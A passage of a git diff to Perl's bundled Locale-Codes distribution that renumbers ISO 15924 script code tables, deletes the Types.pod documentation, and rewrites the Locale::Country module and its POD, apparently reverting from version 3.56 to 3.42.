+      q(0033) => q(Dsrt),
+      q(0034) => q(Dupl),
+      q(0035) => q(Egyd),
+      q(0036) => q(Egyh),
+      q(0037) => q(Egyp),
+      q(0038) => q(Elba),
+      q(0039) => q(Ethi),
+      q(0040) => q(Geok),
+      q(0041) => q(Geor),
+      q(0042) => q(Glag),
+      q(0043) => q(Goth),
+      q(0044) => q(Gran),
+      q(0045) => q(Grek),
+      q(0046) => q(Gujr),
+      q(0047) => q(Guru),
+      q(0048) => q(Hanb),
+      q(0049) => q(Hang),
+      q(0050) => q(Hani),
+      q(0051) => q(Hano),
+      q(0052) => q(Hans),
+      q(0053) => q(Hant),
+      q(0054) => q(Hatr),
+      q(0055) => q(Hebr),
+      q(0056) => q(Hira),
+      q(0057) => q(Hluw),
+      q(0058) => q(Hmng),
+      q(0059) => q(Hrkt),
+      q(0060) => q(Hung),
+      q(0061) => q(Inds),
+      q(0062) => q(Ital),
+      q(0063) => q(Jamo),
+      q(0064) => q(Java),
+      q(0065) => q(Jpan),
+      q(0066) => q(Jurc),
+      q(0067) => q(Kali),
+      q(0068) => q(Kana),
+      q(0069) => q(Khar),
+      q(0070) => q(Khmr),
+      q(0071) => q(Khoj),
+      q(0072) => q(Kitl),
+      q(0073) => q(Kits),
+      q(0074) => q(Knda),
+      q(0075) => q(Kore),
+      q(0076) => q(Kpel),
+      q(0077) => q(Kthi),
+      q(0078) => q(Lana),
+      q(0079) => q(Laoo),
+      q(0080) => q(Latf),
+      q(0081) => q(Latg),
+      q(0082) => q(Latn),
+      q(0083) => q(Leke),
+      q(0084) => q(Lepc),
+      q(0085) => q(Limb),
+      q(0086) => q(Lina),
+      q(0087) => q(Linb),
+      q(0088) => q(Lisu),
+      q(0089) => q(Loma),
+      q(0090) => q(Lyci),
+      q(0091) => q(Lydi),
+      q(0092) => q(Mahj),
+      q(0093) => q(Mand),
+      q(0094) => q(Mani),
+      q(0095) => q(Marc),
+      q(0096) => q(Maya),
+      q(0097) => q(Mend),
+      q(0098) => q(Merc),
+      q(0099) => q(Mero),
+      q(0100) => q(Mlym),
+      q(0101) => q(Modi),
+      q(0102) => q(Mong),
+      q(0103) => q(Moon),
+      q(0104) => q(Mroo),
+      q(0105) => q(Mtei),
+      q(0106) => q(Mult),
+      q(0107) => q(Mymr),
+      q(0108) => q(Narb),
+      q(0109) => q(Nbat),
+      q(0110) => q(Newa),
+      q(0111) => q(Nkgb),
+      q(0112) => q(Nkoo),
+      q(0113) => q(Nshu),
+      q(0114) => q(Ogam),
+      q(0115) => q(Olck),
+      q(0116) => q(Orkh),
+      q(0117) => q(Orya),
+      q(0118) => q(Osge),
+      q(0119) => q(Osma),
+      q(0120) => q(Palm),
+      q(0121) => q(Pauc),
+      q(0122) => q(Perm),
+      q(0123) => q(Phag),
+      q(0124) => q(Phli),
+      q(0125) => q(Phlp),
+      q(0126) => q(Phlv),
+      q(0127) => q(Phnx),
+      q(0128) => q(Plrd),
+      q(0129) => q(Piqd),
+      q(0130) => q(Prti),
+      q(0131) => q(Qaaa),
+      q(0132) => q(Qabx),
+      q(0133) => q(Rjng),
+      q(0134) => q(Roro),
+      q(0135) => q(Runr),
+      q(0136) => q(Samr),
+      q(0137) => q(Sara),
+      q(0138) => q(Sarb),
+      q(0139) => q(Saur),
+      q(0140) => q(Sgnw),
+      q(0141) => q(Shaw),
+      q(0142) => q(Shrd),
+      q(0143) => q(Sidd),
+      q(0144) => q(Sind),
+      q(0145) => q(Sinh),
+      q(0146) => q(Sora),
+      q(0147) => q(Sund),
+      q(0148) => q(Sylo),
+      q(0149) => q(Syrc),
+      q(0150) => q(Syre),
+      q(0151) => q(Syrj),
+      q(0152) => q(Syrn),
+      q(0153) => q(Tagb),
+      q(0154) => q(Takr),
+      q(0155) => q(Tale),
+      q(0156) => q(Talu),
+      q(0157) => q(Taml),
+      q(0158) => q(Tang),
+      q(0159) => q(Tavt),
+      q(0160) => q(Telu),
+      q(0161) => q(Teng),
+      q(0162) => q(Tfng),
+      q(0163) => q(Tglg),
+      q(0164) => q(Thaa),
+      q(0165) => q(Thai),
+      q(0166) => q(Tibt),
+      q(0167) => q(Tirh),
+      q(0168) => q(Ugar),
+      q(0169) => q(Vaii),
+      q(0170) => q(Visp),
+      q(0171) => q(Wara),
+      q(0172) => q(Wole),
+      q(0173) => q(Xpeo),
+      q(0174) => q(Xsux),
+      q(0175) => q(Yiii),
+      q(0176) => q(Zinh),
+      q(0177) => q(Zmth),
+      q(0178) => q(Zsye),
+      q(0179) => q(Zsym),
       },
    q(num) => {
       q(0001) => q(166),
@@ -3634,172 +3334,157 @@ $Locale::Codes::Data{'script'}{'id2code'} = {
       q(0026) => q(445),
       q(0027) => q(291),
       q(0028) => q(204),
-      q(0029) => q(402),
-      q(0030) => q(403),
-      q(0031) => q(220),
-      q(0032) => q(221),
-      q(0033) => q(315),
-      q(0034) => q(328),
-      q(0035) => q(250),
-      q(0036) => q(755),
-      q(0037) => q(070),
-      q(0038) => q(060),
-      q(0039) => q(050),
-      q(0040) => q(226),
-      q(0041) => q(430),
-      q(0042) => q(241),
-      q(0043) => q(240),
-      q(0044) => q(225),
-      q(0045) => q(312),
-      q(0046) => q(313),
-      q(0047) => q(206),
-      q(0048) => q(343),
-      q(0049) => q(200),
-      q(0050) => q(320),
-      q(0051) => q(310),
-      q(0052) => q(503),
-      q(0053) => q(286),
-      q(0054) => q(500),
-      q(0055) => q(371),
-      q(0056) => q(501),
-      q(0057) => q(502),
-      q(0058) => q(127),
-      q(0059) => q(125),
-      q(0060) => q(410),
-      q(0061) => q(080),
-      q(0062) => q(450),
-      q(0063) => q(451),
-      q(0064) => q(412),
-      q(0065) => q(176),
-      q(0066) => q(610),
-      q(0067) => q(210),
-      q(0068) => q(284),
-      q(0069) => q(361),
-      q(0070) => q(413),
-      q(0071) => q(510),
-      q(0072) => q(357),
-      q(0073) => q(411),
-      q(0074) => q(305),
-      q(0075) => q(355),
-      q(0076) => q(322),
-      q(0077) => q(505),
-      q(0078) => q(288),
-      q(0079) => q(345),
-      q(0080) => q(287),
-      q(0081) => q(436),
-      q(0082) => q(317),
-      q(0083) => q(351),
-      q(0084) => q(356),
-      q(0085) => q(217),
-      q(0086) => q(216),
-      q(0087) => q(215),
-      q(0088) => q(364),
-      q(0089) => q(335),
-      q(0090) => q(336),
-      q(0091) => q(400),
-      q(0092) => q(401),
-      q(0093) => q(399),
-      q(0094) => q(437),
-      q(0095) => q(202),
-      q(0096) => q(116),
-      q(0097) => q(314),
-      q(0098) => q(366),
-      q(0099) => q(140),
-      q(0100) => q(139),
-      q(0101) => q(332),
-      q(0102) => q(090),
-      q(0103) => q(265),
-      q(0104) => q(438),
-      q(0105) => q(101),
-      q(0106) => q(100),
-      q(0107) => q(347),
-      q(0108) => q(324),
-      q(0109) => q(145),
-      q(0110) => q(218),
-      q(0111) => q(264),
-      q(0112) => q(337),
-      q(0113) => q(323),
-      q(0114) => q(350),
-      q(0115) => q(106),
-      q(0116) => q(159),
-      q(0117) => q(333),
-      q(0118) => q(085),
-      q(0119) => q(420),
-      q(0120) => q(165),
-      q(0121) => q(499),
-      q(0122) => q(212),
-      q(0123) => q(261),
-      q(0124) => q(175),
-      q(0125) => q(327),
-      q(0126) => q(219),
-      q(0127) => q(260),
-      q(0128) => q(126),
-      q(0129) => q(263),
-      q(0130) => q(227),
-      q(0131) => q(331),
-      q(0132) => q(131),
-      q(0133) => q(132),
-      q(0134) => q(133),
-      q(0135) => q(115),
-      q(0136) => q(282),
-      q(0137) => q(293),
-      q(0138) => q(130),
-      q(0139) => q(900),
-      q(0140) => q(949),
-      q(0141) => q(363),
-      q(0142) => q(167),
-      q(0143) => q(620),
-      q(0144) => q(211),
-      q(0145) => q(123),
-      q(0146) => q(292),
-      q(0147) => q(105),
-      q(0148) => q(344),
-      q(0149) => q(095),
-      q(0150) => q(281),
-      q(0151) => q(319),
-      q(0152) => q(530),
-      q(0153) => q(302),
-      q(0154) => q(318),
-      q(0155) => q(348),
-      q(0156) => q(141),
-      q(0157) => q(142),
-      q(0158) => q(398),
-      q(0159) => q(329),
-      q(0160) => q(362),
-      q(0161) => q(316),
-      q(0162) => q(135),
-      q(0163) => q(138),
-      q(0164) => q(137),
-      q(0165) => q(136),
-      q(0166) => q(373),
-      q(0167) => q(321),
-      q(0168) => q(353),
-      q(0169) => q(354),
-      q(0170) => q(346),
-      q(0171) => q(520),
-      q(0172) => q(359),
-      q(0173) => q(340),
-      q(0174) => q(290),
-      q(0175) => q(120),
-      q(0176) => q(370),
-      q(0177) => q(170),
-      q(0178) => q(352),
-      q(0179) => q(330),
-      q(0180) => q(326),
-      q(0181) => q(040),
-      q(0182) => q(470),
-      q(0183) => q(280),
-      q(0184) => q(262),
-      q(0185) => q(283),
-      q(0186) => q(480),
-      q(0187) => q(030),
-      q(0188) => q(020),
-      q(0189) => q(460),
-      q(0190) => q(339),
-      q(0191) => q(994),
-      q(0192) => q(995),
-      q(0193) => q(993),
-      q(0194) => q(996),
+      q(0029) => q(403),
+      q(0030) => q(220),
+      q(0031) => q(221),
+      q(0032) => q(315),
+      q(0033) => q(250),
+      q(0034) => q(755),
+      q(0035) => q(070),
+      q(0036) => q(060),
+      q(0037) => q(050),
+      q(0038) => q(226),
+      q(0039) => q(430),
+      q(0040) => q(241),
+      q(0041) => q(240),
+      q(0042) => q(225),
+      q(0043) => q(206),
+      q(0044) => q(343),
+      q(0045) => q(200),
+      q(0046) => q(320),
+      q(0047) => q(310),
+      q(0048) => q(503),
+      q(0049) => q(286),
+      q(0050) => q(500),
+      q(0051) => q(371),
+      q(0052) => q(501),
+      q(0053) => q(502),
+      q(0054) => q(127),
+      q(0055) => q(125),
+      q(0056) => q(410),
+      q(0057) => q(080),
+      q(0058) => q(450),
+      q(0059) => q(412),
+      q(0060) => q(176),
+      q(0061) => q(610),
+      q(0062) => q(210),
+      q(0063) => q(284),
+      q(0064) => q(361),
+      q(0065) => q(413),
+      q(0066) => q(510),
+      q(0067) => q(357),
+      q(0068) => q(411),
+      q(0069) => q(305),
+      q(0070) => q(355),
+      q(0071) => q(322),
+      q(0072) => q(505),
+      q(0073) => q(288),
+      q(0074) => q(345),
+      q(0075) => q(287),
+      q(0076) => q(436),
+      q(0077) => q(317),
+      q(0078) => q(351),
+      q(0079) => q(356),
+      q(0080) => q(217),
+      q(0081) => q(216),
+      q(0082) => q(215),
+      q(0083) => q(364),
+      q(0084) => q(335),
+      q(0085) => q(336),
+      q(0086) => q(400),
+      q(0087) => q(401),
+      q(0088) => q(399),
+      q(0089) => q(437),
+      q(0090) => q(202),
+      q(0091) => q(116),
+      q(0092) => q(314),
+      q(0093) => q(140),
+      q(0094) => q(139),
+      q(0095) => q(332),
+      q(0096) => q(090),
+      q(0097) => q(438),
+      q(0098) => q(101),
+      q(0099) => q(100),
+      q(0100) => q(347),
+      q(0101) => q(324),
+      q(0102) => q(145),
+      q(0103) => q(218),
+      q(0104) => q(199),
+      q(0105) => q(337),
+      q(0106) => q(323),
+      q(0107) => q(350),
+      q(0108) => q(106),
+      q(0109) => q(159),
+      q(0110) => q(333),
+      q(0111) => q(420),
+      q(0112) => q(165),
+      q(0113) => q(499),
+      q(0114) => q(212),
+      q(0115) => q(261),
+      q(0116) => q(175),
+      q(0117) => q(327),
+      q(0118) => q(219),
+      q(0119) => q(260),
+      q(0120) => q(126),
+      q(0121) => q(263),
+      q(0122) => q(227),
+      q(0123) => q(331),
+      q(0124) => q(131),
+      q(0125) => q(132),
+      q(0126) => q(133),
+      q(0127) => q(115),
+      q(0128) => q(282),
+      q(0129) => q(293),
+      q(0130) => q(130),
+      q(0131) => q(900),
+      q(0132) => q(949),
+      q(0133) => q(363),
+      q(0134) => q(620),
+      q(0135) => q(211),
+      q(0136) => q(123),
+      q(0137) => q(292),
+      q(0138) => q(105),
+      q(0139) => q(344),
+      q(0140) => q(095),
+      q(0141) => q(281),
+      q(0142) => q(319),
+      q(0143) => q(302),
+      q(0144) => q(318),
+      q(0145) => q(348),
+      q(0146) => q(398),
+      q(0147) => q(362),
+      q(0148) => q(316),
+      q(0149) => q(135),
+      q(0150) => q(138),
+      q(0151) => q(137),
+      q(0152) => q(136),
+      q(0153) => q(373),
+      q(0154) => q(321),
+      q(0155) => q(353),
+      q(0156) => q(354),
+      q(0157) => q(346),
+      q(0158) => q(520),
+      q(0159) => q(359),
+      q(0160) => q(340),
+      q(0161) => q(290),
+      q(0162) => q(120),
+      q(0163) => q(370),
+      q(0164) => q(170),
+      q(0165) => q(352),
+      q(0166) => q(330),
+      q(0167) => q(326),
+      q(0168) => q(040),
+      q(0169) => q(470),
+      q(0170) => q(280),
+      q(0171) => q(262),
+      q(0172) => q(480),
+      q(0173) => q(030),
+      q(0174) => q(020),
+      q(0175) => q(460),
+      q(0176) => q(994),
+      q(0177) => q(995),
+      q(0178) => q(993),
+      q(0179) => q(996),
       },
 };
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm
index 6700519d1285..d5456130fb69 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Script_Retired.pm
@@ -3,7 +3,7 @@ Locale::Codes::Script_Retired;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Feb 23 12:58:17 EST 2018
+#    Generated on: Fri Nov 18 09:22:54 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'script'}{'alpha'}{'code'} = {
 };
@@ -24,7 +24,6 @@ $Locale::Codes::Retired{'script'}{'alpha'}{'name'} = {
    q((alias for hiragana + katakana)) => [ q(Hrkt), q((alias for Hiragana + Katakana)) ],
    q(ahom, tai ahom) => [ q(Ahom), q(Ahom, Tai Ahom) ],
    q(cuneiform, sumero-akkadian) => [ q(Xsux), q(Cuneiform, Sumero-Akkadian) ],
-   q(cypriot) => [ q(Cprt), q(Cypriot) ],
    q(deseret (mormon)) => [ q(Dsrt), q(Deseret (Mormon)) ],
    q(devanagari (nagari)) => [ q(Deva), q(Devanagari (Nagari)) ],
    q(duployan shorthand, duployan stenography) => [ q(Dupl), q(Duployan shorthand, Duployan stenography) ],
@@ -44,7 +43,6 @@ $Locale::Codes::Retired{'script'}{'alpha'}{'name'} = {
    q(moon (moon code, moon script, moon type)) => [ q(Moon), q(Moon (Moon code, Moon script, Moon type)) ],
    q(mro, mru) => [ q(Mroo), q(Mro, Mru) ],
    q(myanmar (burmese)) => [ q(Mymr), q(Myanmar (Burmese)) ],
-   q(nakhi geba) => [ q(Nkgb), q(Nakhi Geba) ],
    q(nakhi geba ('na-'khi ggo-baw, naxi geba)) => [ q(Nkgb), q(Nakhi Geba ('Na-'Khi Ggo-baw, Naxi Geba)) ],
    q(ol chiki (ol cemet, ol, santali)) => [ q(Olck), q(Ol Chiki (Ol Cemet, Ol, Santali)) ],
    q(old north arabian (ancient north arabian)) => [ q(Narb), q(Old North Arabian (Ancient North Arabian)) ],
@@ -64,9 +62,7 @@ $Locale::Codes::Retired{'script'}{'alpha'}{'name'} = {
 
 $Locale::Codes::Retired{'script'}{'num'}{'name'} = {
    q( multani) => [ q(323), q( Multani) ],
-   q(cypriot) => [ q(403), q(Cypriot) ],
    q(mende) => [ q(438), q(Mende) ],
-   q(nakhi geba ('na-'khi ggo-baw, naxi geba)) => [ q(420), q(Nakhi Geba ('Na-'Khi Ggo-baw, Naxi Geba)) ],
    q(old hungarian) => [ q(176), q(Old Hungarian) ],
    q(tiruta) => [ q(326), q(Tiruta) ],
 };
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Types.pod b/cpan/Locale-Codes/lib/Locale/Codes/Types.pod
deleted file mode 100644
index ea8c374a2d19..000000000000
--- a/cpan/Locale-Codes/lib/Locale/Codes/Types.pod
+++ /dev/null
@@ -1,414 +0,0 @@
-=pod
-
-=head1 NAME
-
-Locale::Codes::Types - types of data sets supported
-
-=head1 DESCRIPTION
-
-This document contains a description of different types of code sets
-supported by the B distribution.
-
-The following types are supported:
-
-=over 4
-
-=item L
-
-=item L
-
-=item L
-
-=item L
-
-=item L
-
-=item L
-
-=item L
-
-=back
-
-Any time you have to specify the type of data, use one of the values from
-this list.  When using the OO interface, you have to specify the type of
-data you are working with.  For example:
-
-   use Locale::Codes;
-   ...
-   $obj->type('country');
-   $obj->type('langext');
-
-When using the traditional interfaces, the functions all have the data type
-included in the function name.  For example:
-
-   use Locale::Codes::Country;
-   code2country(...);
-
-   use Locale::Codes::LangExt;
-   code2langext(...);
-
-Each type of data may have any number of code sets.  Code sets may be
-specified by name.  Traditionally, a perl constant was exported and could
-also be used to specify the code set.
-
-Both methods are available for both the OO and traditional interfaces, so
-whenever a function or method takes an argument specifying a code set, either
-the name or a constant can be used.
-
-In the lists below, a code set is specified in the list by including the
-name and the constant.  So, for example, the first country code set is
-named C<'alpha-2'> and has a perl constant C
-associated with it.  When using the OO interface, the constants are only
-available if you import them by loading the module with:
-
-   use Locale::Codes ':constants';
-
-The constants are always available when using the traditional interfaces.
-
-Some of the older perl constants names were not consistent, and in those
-cases, two constants are available (a newer consistent name and the older
-inconsistent one).  Either may be used.
-
-The default code set for each type is marked with an asterisk (*).
-
-=head1 country
-
-Code sets for identifying countries are maintained by several different
-agencies and standards.
-
-The following code sets are maintained in the ISO 3166 standard.
-The official home page for the ISO 3166 maintenance agency is:
-L .
-
-Only the officially assigned codes are included.
-
-=over 4
-
-=item B<* alpha-2, LOCALE_COUNTRY_ALPHA_2, LOCALE_CODE_ALPHA_2>
-
-This is the set of two-letter (lowercase) codes from ISO 3166-1, such
-as 'tv' for Tuvalu.
-
-=item B
-
-This is the set of three-letter (lowercase) codes from ISO 3166-1,
-such as 'brb' for Barbados. These codes are actually defined and
-maintained by the U.N. Statistics division.
-
-=item B
-
-This is the set of three-digit numeric codes from ISO 3166-1, such as
-064 for Bhutan.
-
-If a 2-digit code is entered, it is converted to 3 digits by prepending
-a 0.
-
-=back
-
-A list of domain names are maintained by the IANA (Internet Assigned
-Numbers Authority).  These are available at:
-L .  Only the actual country
-codes are used, and the country names come from ISO 3166.
-
-=over 4
-
-=item B
-
-The country domains assigned by IANA are usually the two-letter
-(lowercase) codes from ISO 3166, but there are a few other additions.
-
-=back
-
-The United Nations also maintains country lists.  Their list is also
-similar, but not identical, to the ISO 3166 list.
-
-The data is available here:
-L
-
-Previously, this table was treated as a source of the ISO 3166 data,
-but I found that the table was incomplete, so I stopped using it.
-Later, it was added back in as it's own list of codes.
-
-=over 4
-
-=item B
-
-This is similar to the 'alpha-3' set from ISO 3166, except that the
-codes are uppercase.
-
-=item B
-
-This is similar to the 'numeric' set from ISO 3166.
-
-=back
-
-The US Government also keeps a list of codes.  Originally, it maintained
-the FIPS-11 code set, but this was deprecated and replaced by the GENC code
-set.  The FIPS-11 code sets are no longer supported by B.
-
-The GENC code sets are available here:
-L .  They are also similar, but
-not identical, to the ISO 3166 code sets.
-
-=over 4
-
-=item B
-
-Similar to the 'alpha-2' set, but uppercase.
-
-=item B
-
-Similar to the 'alpha-3' set, but uppercase.
-
-=item B
-
-Similar to the 'numeric' set.
-
-=back
-
-There are other sources of codes that are not currently used in this
-distribution.
-
-ISO codes for country sub-divisions (states, counties, provinces,
-etc), as defined in ISO 3166-2.  This module is not part of the
-Locale-Codes distribution, but is available from CPAN in
-CPAN/modules/by-module/Locale/
-
-The World Factbook maintained by the CIA is a potential source of
-the data.  Unfortunately, it adds/preserves non-standard codes, so it is
-not used as a source of data.
-L
-
-Another unofficial source of data is the Statoids web site:
-L . Currently, it is not used to get
-data, but the notes and explanatory material were very useful for
-understanding discrepancies between the sources.
-
-=head1 language
-
-Code sets for identifying languages come from a couple different locations.
-
-The primary source is ISO 639 .  The ISO 639-2 codes are available here:
-L
-and the ISO 639-5 codes are available here:
-L .
-
-In addition, the IANA maintains a language registry which are added to the ISO
-lists.  Because it is intended to supplement the ISO standard, the IANA list is
-not separate.
-
-The IANA data is available here:
-L
-
-The code sets are:
-
-=over 4
-
-=item B<* alpha-2, LOCALE_LANGUAGE_ALPHA_2, LOCALE_LANG_ALPHA_2>
-
-This is the set of two-letter (lowercase) codes from ISO 639-1, such
-as 'he' for Hebrew.  It also includes additions to this set included
-in the IANA language registry.
-
-=item B
-
-This is the set of three-letter (lowercase) bibliographic codes from
-ISO 639-2 and 639-5, such as 'heb' for Hebrew.  It also includes
-additions to this set included in the IANA language registry.
-
-=item B
-
-This is the set of three-letter (lowercase) terminologic codes from
-ISO 639.
-
-=back
-
-=head1 currency
-
-The source of currency codes is the ISO 4217 data available here:
-L
-
-The code sets are:
-
-=over 4
-
-=item B<* alpha, LOCALE_CURRENCY_ALPHA, LOCALE_CURR_ALPHA>
-
-This is a set of three-letter (uppercase) codes from ISO 4217 such
-as EUR for Euro.
-
-Two of the codes specified by the standard (XTS which is reserved
-for testing purposes and XXX which is for transactions where no
-currency is involved) are omitted.
-
-=item B
-
-This is the set of three-digit numeric codes from ISO 4217.
-
-=back
-
-=head1 script
-
-The source of script code sets is ISO 15924 available here:
-L
-
-Additional data comes from the IANA language subtag registry:
-L .
-
-Code sets are:
-
-=over 4
-
-=item B<* alpha, LOCALE_SCRIPT_ALPHA>
-
-This is a set of four-letter (capitalized) codes from ISO 15924
-such as 'Phnx' for Phoenician.  It also includes additions to this
-set included in the IANA language registry.
-
-The Zxxx, Zyyy, and Zzzz codes are not used.
-
-=item B
-
-This is a set of three-digit numeric codes from ISO 15924 such as 115
-for Phoenician.
-
-=back
-
-=head1 langfam
-
-Language families are specified using codes from ISO 639-5 available here:
-L
-
-Code sets are:
-
-=over 4
-
-=item B<* alpha, LOCALE_LANGFAM_ALPHA>
-
-This is the set of three-letter (lowercase) codes from ISO 639-5
-such as 'apa' for Apache languages.
-
-=back
-
-=head1 langvar
-
-Language variations are specified using codes from he IANA language
-subtag registry available here:
-L
-
-Code sets are:
-
-=over 4
-
-=item B<* alpha, LOCALE_LANGVAR_ALPHA>
-
-This is the set of alphanumeric codes from the IANA
-language registry, such as 'arevela' for Eastern Armenian.
-
-=back
-
-=head1 langext
-
-Language extensions are specified using codes from he IANA language
-subtag registry available here:
-L
-
-Code sets are:
-
-=over 4
-
-=item B<* alpha, LOCALE_LANGEXT_ALPHA>
-
-This is the set of three-letter (lowercase) codes from the IANA
-language registry, such as 'acm' for Mesopotamian Arabic.
-
-=back
-
-=head1 NEW CODE SETS
-
-I'm always open to suggestions for new code sets.
-
-In order for me to add a code set, I want the following criteria
-to be met:
-
-=over 4
-
-=item B
-
-If a code set is not general use, I'm not likely to spend the time
-to add and support it.
-
-=item B
-
-I require an official (or at least, a NEARLY official) source where I
-can get the data on a regular basis.
-
-Ideally, I'd only get data from an official source, but sometimes that
-is not possible. For example the ISO standards are not typically
-available for free, so I may have to get some of that data from
-alternate sources that I'm confident are getting their data from the
-official source.  However, I will always be hesitant to accept a
-non-official source.
-
-As an example, I used to get some country data from the CIA World
-Factbook. Given the nature of the source, I'm sure they're updating
-data from the official sources and I consider it "nearly" official.
-However, even in this case, I found that they were adding codes that
-were not part of the standard, so I have stopped using them as a
-source.
-
-There are many 3rd party sites which maintain lists (many of which are
-actually in a more convenient form than the official sites).
-Unfortunately, I will reject most of them since I have no feel for how
-"official" they are.
-
-=item B
-
-Obviously, the data must be free-of-charge. I'm not interested in
-paying for the data (and I'm not interested in the overhead of having
-someone else pay for the data for me).
-
-=item B
-
-The source of data must come from a source that I can reasonably expect
-to exist for the foreseeable future since I will be extremely reluctant
-to drop support for a data set once it's included.
-
-I am also reluctant to accept data sent to me by an individual.
-Although I appreciate the offer, it is simply not practical to consider
-an individual contribution as a reliable source of data. The source
-should be an official agency of some sort.
-
-=back
-
-These requirements are open to discussion. If you have a code set
-you'd like to see added, but which may not meet all of the above
-requirements, feel free to email me and we'll discuss it.  Depending
-on circumstances, I may be willing to waive some of these criteria.
-
-=head1 SEE ALSO
-
-=over 4
-
-=item L
-
-The Locale-Codes distribution.
-
-=back
-
-=head1 AUTHOR
-
-See Locale::Codes for full author history.
-
-Currently maintained by Sullivan Beck (sbeck@cpan.org).
-
-=head1 COPYRIGHT
-
-   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
-   Copyright (c) 2001-2010 Neil Bowers
-   Copyright (c) 2010-2018 Sullivan Beck
-
-This module is free software; you can redistribute it and/or
-modify it under the same terms as Perl itself.
-
-=cut
diff --git a/cpan/Locale-Codes/lib/Locale/Country.pm b/cpan/Locale-Codes/lib/Locale/Country.pm
index 0ee45c1544a3..24e805cebe83 100644
--- a/cpan/Locale-Codes/lib/Locale/Country.pm
+++ b/cpan/Locale-Codes/lib/Locale/Country.pm
@@ -1,94 +1,48 @@
 package Locale::Country;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
 use warnings;
-require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use Exporter;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
-use Locale::Codes;
-use Locale::Codes::Constants;
+our $VERSION;
+$VERSION='3.42';
 
-@EXPORT    = qw(
-                code2country
-                country2code
-                all_country_codes
-                all_country_names
-                country_code2code
-               );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_COUNTRY);
+our (@ISA,@EXPORT);
 
-our $obj = new Locale::Codes('country');
-$obj->show_errors(0);
+my $backend     = 'Locale::Codes::Country';
+my $backend_exp = $backend . "::EXPORT";
 
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
+eval "require $backend; $backend->import(); return 1;";
 
-sub code2country {
-   return $obj->code2name(@_);
+{
+   no strict 'refs';
+   @EXPORT = @{ $backend_exp };
 }
 
-sub country2code {
-   return $obj->name2code(@_);
-}
+unshift (@ISA, $backend);
 
-sub country_code2code {
-   return $obj->code2code(@_);
-}
-
-sub all_country_codes {
-   return $obj->all_codes(@_);
-}
-
-sub all_country_names {
-   return $obj->all_names(@_);
-}
-
-sub rename_country {
-   return $obj->rename_code(@_);
-}
-
-sub add_country {
-   return $obj->add_code(@_);
-}
-
-sub delete_country {
-   return $obj->delete_code(@_);
-}
-
-sub add_country_alias {
-   return $obj->add_alias(@_);
-}
-
-sub delete_country_alias {
-   return $obj->delete_alias(@_);
-}
-
-sub rename_country_code {
-   return $obj->replace_code(@_);
-}
-
-sub add_country_code_alias {
-   return $obj->add_code_alias(@_);
-}
-
-sub delete_country_code_alias {
-   return $obj->delete_code_alias(@_);
-}
+sub rename_country            { Locale::Codes::Country::rename_country(@_) }
+sub add_country               { Locale::Codes::Country::add_country(@_) }
+sub delete_country            { Locale::Codes::Country::delete_country(@_) }
+sub add_country_alias         { Locale::Codes::Country::add_country_alias(@_) }
+sub delete_country_alias      { Locale::Codes::Country::delete_country_alias(@_) }
+sub rename_country_code       { Locale::Codes::Country::rename_country_code(@_) }
+sub add_country_code_alias    { Locale::Codes::Country::add_country_code_alias(@_) }
+sub delete_country_code_alias { Locale::Codes::Country::delete_country_code_alias(@_) }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Country.pod b/cpan/Locale-Codes/lib/Locale/Country.pod
index 0bf72252e0a5..e21726fd0d4b 100644
--- a/cpan/Locale-Codes/lib/Locale/Country.pod
+++ b/cpan/Locale-Codes/lib/Locale/Country.pod
@@ -2,107 +2,127 @@
 
 =head1 NAME
 
-Locale::Country - module for dealing with country code sets
+Locale::Country - standard codes for country identification
 
 =head1 SYNOPSIS
 
    use Locale::Country;
 
-   $name = code2country(CODE);
-   $code = country2code(NAME);
+   $country = code2country('jp' [,CODESET]);        # $country gets 'Japan'
+   $code    = country2code('Norway' [,CODESET]);    # $code gets 'no'
 
-   @codes   = all_country_codes();
+   @codes   = all_country_codes( [CODESET]);
    @names   = all_country_names();
 
-=head1 DESCRIPTION
+   # semi-private routines
+   Locale::Country::rename_country('gb' => 'Great Britain');
 
-This module provides access to country code sets.
+=head1 DESCRIPTION
 
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to several code sets
+that can be used for identifying countries, such as those defined in
+ISO 3166-1.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
+specifies the code set to use. If not specified, the default ISO
+3166-1 two-letter codes will be used.
 
-=head1 ROUTINES
+=head1 SUPPORTED CODE SETS
+
+There are several different code sets you can use for identifying
+countries. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-All routines in this module call the appropriate method in the
-L module, using an object of type: country
-Please refer to the documentation of the L module
-for details about each function.
+For example, the two are equivalent:
 
-The following functions are exported automatically:
+   $country = code2country('jp','alpha-2');
+   $country = code2country('jp',LOCALE_CODE_ALPHA_2);
+
+The codesets currently supported are:
 
 =over 4
 
-=item B
+=item B
 
-See B in L
